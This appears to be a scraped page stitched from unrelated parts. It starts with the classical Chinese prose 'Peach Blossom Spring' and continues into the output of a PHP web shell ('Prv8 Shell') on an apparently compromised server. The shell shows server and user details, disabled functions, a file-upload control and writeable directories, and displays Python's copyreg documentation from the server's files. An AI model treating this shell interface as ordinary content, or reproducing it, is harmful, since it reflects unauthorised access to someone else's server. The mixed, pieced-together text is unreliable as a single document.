晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/python3-docs/html/_sources/library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/python3-docs/html/_sources/library/copyreg.rst.txt
:mod:`copyreg` --- Register :mod:`pickle` support functions
===========================================================

.. module:: copyreg
   :synopsis: Register pickle support functions.

**Source code:** :source:`Lib/copyreg.py`

.. index::
   module: pickle
   module: copy

--------------

The :mod:`copyreg` module offers a way to define functions used while pickling
specific objects.  The :mod:`pickle` and :mod:`copy` modules use those functions
when pickling/copying those objects.  The module provides configuration
information about object constructors which are not classes.
Such constructors may be factory functions or class instances.


.. function:: constructor(object)

   Declares *object* to be a valid constructor.  If *object* is not callable (and
   hence not valid as a constructor), raises :exc:`TypeError`.


.. function:: pickle(type, function, constructor=None)

   Declares that *function* should be used as a "reduction" function for objects
   of type *type*.  *function* should return either a string or a tuple
   containing two or three elements.

   The optional *constructor* parameter, if provided, is a callable object which
   can be used to reconstruct the object when called with the tuple of arguments
   returned by *function* at pickling time.  :exc:`TypeError` will be raised if
   *object* is a class or *constructor* is not callable.

   See the :mod:`pickle` module for more details on the interface
   expected of *function* and *constructor*.  Note that the
   :attr:`~pickle.Pickler.dispatch_table` attribute of a pickler
   object or subclass of :class:`pickle.Pickler` can also be used for
   declaring reduction functions.

Example
-------

The example below would like to show how to register a pickle function and how
it will be used:

   >>> import copyreg, copy, pickle
   >>> class C(object):
   ...     def __init__(self, a):
   ...         self.a = a
   ...
   >>> def pickle_c(c):
   ...     print("pickling a C instance...")
   ...     return C, (c.a,)
   ...
   >>> copyreg.pickle(C, pickle_c)
   >>> c = C(1)
   >>> d = copy.copy(c)
   pickling a C instance...
   >>> p = pickle.dumps(c)
   pickling a C instance...

haha - 2025